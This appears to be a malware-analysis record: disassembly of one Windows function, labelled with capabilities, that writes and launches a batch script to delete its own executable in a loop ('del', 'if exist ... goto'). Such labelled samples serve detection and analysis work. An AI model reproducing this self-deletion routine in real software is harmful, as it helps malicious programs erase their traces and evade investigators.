Function at 0x100020b0
Capabilities:
Create process on windows
Resume thread
Self delete
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x308
push ebx
push esi
push edi
push ebp
mov eax, dword [esp + 0x320]
push 0
push 0x8000080
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov esi, eax
je 0x100022fe
mov bp, word [0x1000a14c]
mov eax, dword [str.echo_off_r_n]
lea edx, [esp + 0x88]
push 0
mov ebx, dword [0x1000a148]
mov ecx, str.echo_off_r_n
mov dword [edx], eax
mov al, byte [ecx + 0xa]
lea ecx, [esp + 0x14]
lea edi, [esp + 0x8c]
push ecx
mov dword [edx + 4], ebx
mov word [edx + 8], bp
mov ecx, 0xffffffff
mov byte [edx + 0xa], al
sub eax, eax
repne scasb al, byte es:[edi]
lea edx, [esp + 0x90]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
not ecx
dec ecx
mov edi, 1
push ecx
push edx
push esi
call ebx
lea eax, [esp + 0x18c]
mov ecx, dword [esp + 0x31c]
push eax
push edi
push ecx
call fcn.10004ab0
add esp, 0xc
test eax, eax
je 0x10002232
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x24]
push edi
push str.:repeat_u_r_n
inc edi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x30]
add esp, 0xc
push 0
push eax
push ecx
call ebp
lea ecx, [esp + 0x2c]
push eax
push ecx
push esi
call ebx
lea ecx, [esp + 0x18c]
lea edx, [esp + 0x88]
push ecx
push str.del___s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x94]
add esp, 0xc
push 0
push ecx
push edx
call ebp
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call ebx
lea ecx, [esp + 0x25]
lea edx, [esp + 0x18c]
lea eax, [esp + 0x88]
push ecx
push edx
push str.if_exist___s__goto__s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x20]
lea edx, [esp + 0x98]
add esp, 0x10
push 0
push ecx
push edx
call ebp
lea ecx, [esp + 0x90]
push eax
push ecx
push esi
call ebx
lea ecx, [esp + 0x18c]
mov eax, dword [esp + 0x31c]
push ecx
push edi
push eax
call fcn.10004ab0
add esp, 0xc
test eax, eax
jne 0x1000216a
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea edi, [esp + 0x44]
xor eax, eax
mov ecx, 0x11
push 0x4000
rep stosd dword es:[edi], eax
mov word [esp + 0x78], ax
mov edi, dword [esp + 0x328]
mov dword [esp + 0x48], 0x44
mov dword [esp + 0x74], 1
lea eax, [esp + 0x294]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_OpenFile]
cmp eax, 0xffffffff
jne 0x10002284
mov edi, dword [esp + 0x320]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x44]
push eax
push ecx
push 0
push 0
push 0x44
push 0
push 0
push 0
push edi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x100022fe
mov eax, dword [esp + 0x18]
push 0xfffffffffffffff1
push eax
mov edi, dword [sym.imp.KERNEL32.dll_SetThreadPriority]
call edi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call edi
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov eax, dword [esp + 0x14]
push eax
call esi
mov eax, dword [esp + 0x18]
mov ebp, dword [sym.imp.KERNEL32.dll_ResumeThread]
push eax
call ebp
mov ecx, dword [esp + 0x18]
push ecx
call esi
mov eax, 1
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x308
ret
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x308
ret